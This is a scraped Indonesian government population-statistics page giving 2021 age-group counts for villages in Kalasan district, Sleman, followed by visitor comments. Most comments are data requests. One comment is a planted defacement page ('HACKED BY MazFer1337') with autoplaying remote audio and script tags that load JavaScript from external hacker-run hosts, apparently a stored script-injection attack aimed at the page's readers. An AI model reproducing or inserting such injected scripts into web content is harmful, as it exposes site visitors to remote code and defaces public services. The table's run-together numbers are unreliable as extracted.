Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk KECAMATAN KALASAN, KABUPATEN SLEMAN, D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaPURWOMARTANITIRTOMARTANITAMANMARTANISELOMARTANITotal
LPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun394378 772188198 386179185 364162142 304923 903 1.826
2 tahun270245 515113124 23710599 20410983 192597 551 1.148
3 tahun256242 498111113 224130112 2427890 168575 557 1.132
4 tahun261260 52112195 216103117 2208471 155569 543 1.112
5 tahun257262 519131112 243134113 24713288 220654 575 1.229
6 tahun250246 496114118 232128100 2289887 185590 551 1.141
7 tahun283241 524118123 241116128 24411190 201628 582 1.210
8 tahun278251 529146124 270133140 27390107 197647 622 1.269
9 tahun299265 564135140 275130130 26091105 196655 640 1.295
10 tahun276287 563125123 248131140 2719594 189627 644 1.271
11 tahun281302 583138139 277125139 264111102 213655 682 1.337
12 tahun312301 613157144 301137141 278126110 236732 696 1.428
13 tahun302233 535125157 282142115 25710198 199670 603 1.273
14 tahun317289 606140143 283140123 26312299 221719 654 1.373
15 tahun294263 557131125 256145109 25413175 206701 572 1.273
16 tahun273252 525132105 23714797 24410089 189652 543 1.195
17 tahun283222 505138122 260122134 2569679 175639 557 1.196
18 tahun307271 578143134 277126127 2539188 179667 620 1.287
19 tahun272260 532155132 287140115 2559382 175660 589 1.249
20 tahun263296 559137156 293140123 26394111 205634 686 1.320
21 tahun280294 574162146 308116113 22993101 194651 654 1.305
22 tahun215256 471153140 293103123 2267481 155545 600 1.145
23 tahun261250 511125131 25612191 21211887 205625 559 1.184
24 tahun293279 572137133 270114109 2239288 180636 609 1.245
25 tahun279269 548143119 262122118 2409182 173635 588 1.223
26 tahun294283 577142120 262130113 24395110 205661 626 1.287
27 tahun264267 531113115 228121100 2219882 180596 564 1.160
28 tahun274224 498126114 24099120 2199179 170590 537 1.127
29 tahun265284 549132130 262110131 24193105 198600 650 1.250
30 tahun259255 514126104 230112118 23010477 181601 554 1.155
31 tahun268262 530108123 231125115 2408571 156586 571 1.157
32 tahun211224 43593129 222131105 2368369 152518 527 1.045
33 tahun237263 500113121 23496113 20974100 174520 597 1.117
34 tahun244248 492124123 24790110 2009591 186553 572 1.125
35 tahun249247 496125144 26998112 21086100 186558 603 1.161
36 tahun272278 550106145 251117123 24010294 196597 640 1.237
37 tahun270257 527168134 302136131 267109115 224683 637 1.320
38 tahun296368 664138151 289140152 292122110 232696 781 1.477
39 tahun304303 607139152 291134140 27489101 190666 696 1.362
40 tahun274325 599149145 294132131 263100109 209655 710 1.365
41 tahun291304 595144148 292145142 287105111 216685 705 1.390
42 tahun290312 602136152 288126114 24010291 193654 669 1.323
43 tahun297309 606144135 279128132 2609398 191662 674 1.336
44 tahun292298 590154152 306132136 268119114 233697 700 1.397
45 tahun298302 600128153 281137134 2719098 188653 687 1.340
46 tahun280289 569143148 291138124 26295110 205656 671 1.327
47 tahun291299 590122130 252121112 23310591 196639 632 1.271
48 tahun234265 499129145 274126109 235125114 239614 633 1.247
49 tahun266246 512113149 262124133 2578090 170583 618 1.201
50 tahun279285 564134134 268102131 23311490 204629 640 1.269
51 tahun276288 564114150 264138143 28196100 196624 681 1.305
52 tahun242257 499143138 281121126 24781111 192587 632 1.219
53 tahun229257 486125124 249105111 2168194 175540 586 1.126
54 tahun199246 445110137 24711295 2078479 163505 557 1.062
55 tahun253250 503137142 279123124 2479594 189608 610 1.218
56 tahun229235 464109124 2339599 1946865 133501 523 1.024
57 tahun206218 424105111 216100101 2016668 134477 498 975
58 tahun203212 415103107 2108392 1756777 144456 488 944
59 tahun177186 36387107 1946484 1484577 122373 454 827
60 tahun182190 37210395 1987699 1756077 137421 461 882
61 tahun207197 4048698 18475103 1787079 149438 477 915
62 tahun153181 3348795 1827099 1696062 122370 437 807
63 tahun121168 2897779 1568390 1735664 120337 401 738
64 tahun132140 2727071 1417774 1514260 102321 345 666
65 tahun111140 2517772 1496277 1396156 117311 345 656
66 tahun135116 2516465 1296952 1215853 111326 286 612
67 tahun127119 2465356 1095661 1174450 94280 286 566
68 tahun106114 2205148 993754 913244 76226 260 486
69 tahun9393 1864840 883537 723432 66210 202 412
70 tahun8484 1683345 783754 914055 95194 238 432
71 tahun6774 1413737 743140 712825 53163 176 339
72 tahun6787 1542533 582539 642747 74144 206 350
73 tahun4763 1102521 463844 823439 73144 167 311
74 tahun6168 1292530 553026 561639 55132 163 295
75 tahun5262 1143044 742743 702733 60136 182 318
76 tahun5849 1072620 462223 451625 41122 117 239
77 tahun5146 972333 561828 462230 52114 137 251
78 tahun5661 1172525 503435 692221 43137 142 279
79 tahun2643 692315 382122 432023 4390 103 193
80 ke atas188291 47999150 249124177 301109183 292520 801 1.321
Jumlah17.99318.24636.2398.7879.00417.7918.2678.37416.6416.5986.61113.209 41.645 42.235 83.880
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih